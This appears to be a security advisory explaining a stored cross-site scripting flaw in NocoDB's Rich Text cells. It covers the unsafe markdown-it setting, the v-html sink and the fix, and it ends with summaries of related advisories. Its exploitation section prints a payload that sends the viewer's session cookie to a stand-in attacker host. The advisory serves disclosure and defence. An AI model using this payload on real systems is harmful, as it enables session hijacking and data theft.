Mar 3, 2026·5 min read·15 visits
NocoDB versions before 0.301.3 allow authenticated Editors to inject malicious scripts into Rich Text cells. The issue stems from unsafe Markdown rendering configurations permitting raw HTML. Attackers can hijack sessions of any user viewing the compromised data.
NocoDB, an open-source airtable alternative, contains a stored Cross-Site Scripting (XSS) vulnerability in versions prior to 0.301.3. The vulnerability exists within the rendering logic for Rich Text cells, where user-supplied Markdown is converted to HTML and rendered without sufficient sanitization. Authenticated attackers with Editor permissions can inject malicious JavaScript payloads into database cells. These payloads execute in the context of other users' sessions—including Administrators—when the affected cell is viewed in the grid, form, or expanded view interfaces.
NocoDB is a low-code platform that transforms databases into smart spreadsheets. A critical component of its user interface is the TextArea component, which supports Rich Text formatting via Markdown. In affected versions, the application fails to properly neutralize HTML tags embedded within Markdown input before rendering them in the browser.
The vulnerability is classified as Stored Cross-Site Scripting (CWE-79). Unlike Reflected XSS, the malicious payload is permanently stored in the backend database. Consequently, the script executes every time the compromised data is retrieved and displayed by the frontend application. This persistence amplifies the risk, as a single injection can compromise multiple victims over an extended period without requiring further interaction from the attacker.
The root cause lies in the configuration of the Markdown parsing library and the subsequent handling of the generated HTML in the Vue.js frontend.
1. Insecure Library Configuration:
The application utilizes markdown-it to parse Markdown text. In vulnerable versions, this library was instantiated with the configuration option { html: true }. This specific setting explicitly instructs the parser to preserve raw HTML tags found within the Markdown source rather than escaping them. This is often enabled to allow advanced formatting but creates a direct injection path if the input is untrusted.
2. Unsafe DOM Sink:
The parsed HTML output was bound to the Document Object Model (DOM) using the Vue.js v-html directive. The v-html directive updates the element's innerHTML. Vue's documentation explicitly warns that this directive does not perform data sanitization, making it a known sink for XSS attacks if the content is not trusted.
3. Absence of Sanitization:
The application lacked an intermediate sanitization layer (such as DOMPurify) between the Markdown parser and the v-html directive. As a result, any JavaScript embedded in the Markdown (e.g., <script> tags or event handlers like onload or onerror) was passed directly to the browser for execution.
The vulnerability manifests in the data flow from the database API to the frontend component rendering the cell value. Below is a conceptual representation of the vulnerable logic versus the remediated approach.
The renderer permitted raw HTML via the parser configuration and injected it directly into the DOM.
// Vulnerable Configuration
const md = new MarkdownIt({
html: true, // DANGER: Allows raw HTML tags to pass through
linkify: true,
typographer: true
});
// Vue Component Template
// The 'value' is user-controlled content from the database
<div class="rich-text-cell" v-html="md.render(value)"></div>The fix involves disabling raw HTML in the parser and ensuring any output is sanitized before rendering.
// Secure Configuration
import DOMPurify from 'dompurify';
const md = new MarkdownIt({
html: false, // SAFE: Escapes HTML tags (e.g., < becomes <)
linkify: true,
typographer: true
});
// Enhanced security often includes explicit sanitization even if html: false
const safeContent = DOMPurify.sanitize(md.render(value));
// Vue Component Template
<div class="rich-text-cell" v-html="safeContent"></div>By setting html: false, the parser converts <script> to <script>, rendering it as harmless text rather than executable code.
Exploitation requires an authenticated account with 'Editor' permissions or higher, as the attacker must be able to modify cell content in a table.
1. Reconnaissance: The attacker identifies a table column configured with the 'Rich Text' or 'Long Text' data type that supports Markdown rendering.
2. Injection: The attacker inputs a malicious payload into a cell. Since the vulnerability is stored, standard XSS vectors are effective.
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"><script>alert(document.domain)</script>3. Execution:
The attack is triggered passively. When an Administrator or another user opens the table in Grid View, or opens the specific record in Form View, the frontend fetches the cell data. The markdown-it library parses the payload, preserving the HTML tags. Vue's v-html inserts the markup into the DOM, triggering the onerror event or executing the script block immediately.
The successful exploitation of this vulnerability has significant security implications for NocoDB deployments, particularly those shared among teams with varying privilege levels.
Session Hijacking: The most immediate impact is the theft of session tokens (JWTs or session cookies). An attacker can exfiltrate these tokens to a remote server, allowing them to impersonate the victim. If the victim is an Administrator, the attacker gains full control over the NocoDB instance, including the ability to manage users, delete databases, and modify system configurations.
Data Exfiltration:
Scripts executed in the victim's browser run with the victim's privileges. The attacker can use fetch() or XMLHttpRequest to query NocoDB APIs, retrieving sensitive data from tables the attacker does not normally have access to.
Phishing and Redirection: The attacker can modify the visual appearance of the application or redirect the user to a malicious login page to capture credentials for external systems integrated with NocoDB.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
NocoDB NocoDB | < 0.301.3 | 0.301.3 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-28401 |
| CWE ID | CWE-79 |
| CVSS v3.1 | 5.4 (Medium) |
| Attack Vector | Network |
| Privileges Required | Low (Editor) |
| User Interaction | Required (Passive) |
| Exploit Status | PoC Available |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.